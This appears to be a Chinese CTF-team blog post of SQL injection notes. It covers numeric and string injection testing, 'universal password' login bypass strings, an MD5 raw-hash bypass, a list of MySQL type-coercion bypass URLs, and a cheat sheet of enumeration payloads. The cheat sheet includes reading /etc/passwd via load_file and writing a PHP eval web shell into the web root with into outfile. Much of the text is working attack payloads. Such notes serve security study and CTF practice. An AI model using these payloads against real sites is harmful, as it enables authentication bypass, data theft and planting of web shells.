本文章部分为 前博客文章迁移 并参考一些其他战队师傅的博客与个人总结加以补充。
在开始前不妨先看看我的傲娇舍友对于sql基础的总结。
1、注入类型
关于数字型、字符型的注入类型可以说是最简单,最基础的知识点。但也确实挺多同学仍然会错的点。
下面就浅说下两种类型的特点
1、数字型
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:sqlsql/sql.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:sqlsql/text.php?id=3and 1=1
对应的sql:select * from table where id=3 and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:sqlsql/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
2、字符型
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
因此,构造语句为:select * from table where name =’admin’ and 1=1 – ’ 可成功执行返回结果正确;
(3) 加and 1=2– 此时sql语句为:select * from table where name=’admin’ and 1=2 – ’则会报错
2、万能密码
2.1 常见万能密码
万能密码是由于某些程序,通过采用判断sql语句查询结果的值是否大于0,来判断用户输入数据的正确性造成的。当查询之大于0时,代表用户存在,返回true,代表登录成功,否则返回false 代表登录失败。由于 ‘or 1=1– ‘ 在执行后,结果始终为1,所以可以登录成功。因此,被称为万能密码。
1 2 3 4 5 6 7 8 9
| 'or'='or' admin admin'-- admin' or 4=4 admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# 。。。。。。
|
更多万能密码见1X师傅
2.2进阶 md5版本
具体分析见1x师傅博客md5进阶板块
用户输入
1
| user=1' or 1=1 or '1'='1&password=aaa
|
服务端
1 2 3 4 5 6 7
| SELECT * FROM Table_submit WHERE User= '1' or 1=1 or '1' = '1' AND Password= '47bce5c74f589f4867dbd57e9ca9f808' User= '1' or 1=1 or '1' = '1' AND Password= '47bce5c74f589f4867dbd57e9ca9f808' 由于用户名和密码都是随便输的,不正确,那么User= ‘1’ 结果为false,Password= ‘47bce5c74f589f4867dbd57e9ca9f808’结果也为false,但是1=1为true,’1’ = ‘1’也为true 即false or true or true and false 即false or true or false,根据或逻辑,0+1+0=1,返回值为true
|
奇淫技巧
1 2
| ffifdyop MD5后 【276f722736c95d99e921722cf9ed621c】 129581926211651571912466741651878684928 同上
|
十六进制编码后
2.3Mysql数据库char与数字比较的Trick
设计mysql数据表时,通常用户名、密码的类型为varchar或者char,可以利用Mysql varchar或char类型同数字比较的自动转换机制。先上一个payload尝鲜:’|0– –,详细分析过程如下:
数据结构如下所示(以varchar类型为例,char类型类似)
Mysql版本号:5.7.21 8.0仍可打通 但仅限于MYSQl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| mysql> show columns from user; + | Field | Type | Null | Key | Default | Extra | + | id | int(50) | NO | | NULL | | | username | varchar(500) | NO | | NULL | | | password | varchar(500) | NO | | NULL | | + 3 rows in set (0.00 sec)
mysql> select * from user ; + | id | username | password | + | 1 | admin | admin | | 2 | test | test | | 3 | 3test | 3test | | 4 | 4test | 4test | +
|
进行如下测试实验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| mysql> select * from user where username='admin'; + | id | username | password | + | 1 | admin | admin | + 1 row in set (0.00 sec)
mysql> select * from user where username=0; + | id | username | password | + | 1 | admin | admin | | 2 | test | test | + 2 rows in set, 1 warning (0.00 sec)
mysql> select * from user where username=3; + | id | username | password | + | 3 | 3test | 3test | + 1 row in set, 1 warning (0.00 sec)
mysql> select * from user where username=4; + | id | username | password | + | 4 | 4test | 4test | + 1 row in set, 1 warning (0.00 sec)
|
由结果可知,Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。
构造零
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| http://127.0.0.1/sql_test.php?username='%2b0-- --&password=1 http://127.0.0.1/sql_test.php?username='-0 http://127.0.0.1/sql_test.php?username='*0-- --&password=1 http://127.0.0.1/sql_test.php?username='/1 http://127.0.0.1/sql_test.php?username='^0-- --&password=1 http://127.0.0.1/sql_test.php?username='%260 http://127.0.0.1/sql_test.php?username='|0-- --&password=1 http://127.0.0.1/sql_test.php?username='xor 1 http://127.0.0.1/sql_test.php?username='%1-- --&password=1 http://127.0.0.1/sql_test.php?username='=0 http://127.0.0.1/sql_test.php?username='>=0-- --&password=1 http://127.0.0.1/sql_test.php?username='<=0 http://127.0.0.1/sql_test.php?username='<<0-- --&password=1 http://127.0.0.1/sql_test.php?username='>>0
|
ps:其中除法运算,除数不能为0,输入为’/1– –相当于0/1等于0;求余运算,底数不能为0,输入%1– –相当于0%1等于0。根据实际环境利用方式可自由变换
3、操作前的小芝士
3.1常用payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| 当前用户:select user() 数据库版本:select version() , select @@version 数据库名:select database() 操作系统:select @@version_compile_os 所有变量:show variables 单个变量:select @@secure_file_priv , show variables like 'secure_file%' 爆字段数:order by 1... ,group by 1... 查库名:select group_concat(schema_name) from information_schema.schemata 查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名' 查字段:select group_concat(column_name) from information_schema.columns where table_name='表名' 读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0) 读文件:select load_file('/etc/passwd') 写文件:select '<?php @eval($POST[a]);?>' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过
|
3.2常用函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| count()返回执行结果数量 concat()没有分隔符的链接字符串 concat_ws()含有分隔符的连接字符串 group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据 load_file()读取本地文件 into outfile 写文件 ascii()字符串的ASCII代码值 ord()返回字符串第一个字符的ASCII值 mid()返回一个字符串的一部分 substr()返回一个字符串的一部分 length()返回字符串的长度 left()返回字符串最左面几个字符 floor()返回小于或等于x的最大整数
rand()返回0和1之间的一个随机数 extractvalue()
第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
作用:从目标XML中返回包含所查询值的字符串
updatexml() 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
第二个参数:Xpath_string(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com
作用:改变文档中符合条件的节点的值
sleep()让此语句运行N秒钟 if() SELECT IF(1>2,2,3) ; char()返回整数ASCII代码字符组成的字符串 strcmp()比较字符串内容 ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2 exp()返回e的x次方
|
3.3EZEZ
1 2 3 4 5 6
| order by 后面加数字可以判断服务器在查询某个表时所查询的列数。 select username,password,uid from user order by 1; 此时输出的结果将对第一列进行排序 当数字大于实际查询列数时将会报错因此 作为判断查询列数方式 union 联合注入 0' union select 1,2,(select password from ctfshow_user where username='flag') --+ 如上代码块中查询代码 有三列 此代码块payload将 1,2,与查询的结果分别放进三个回显位置带出
|
3.3注释
1 2 3 4 5 6
| 多行注释符(块注释符)和,可以用于代替空格 单行注释# MySQL:单行注释 单行注释 字符串截断;%00 常常使用
|
磨刀不误砍柴功,接下来让我们开始操作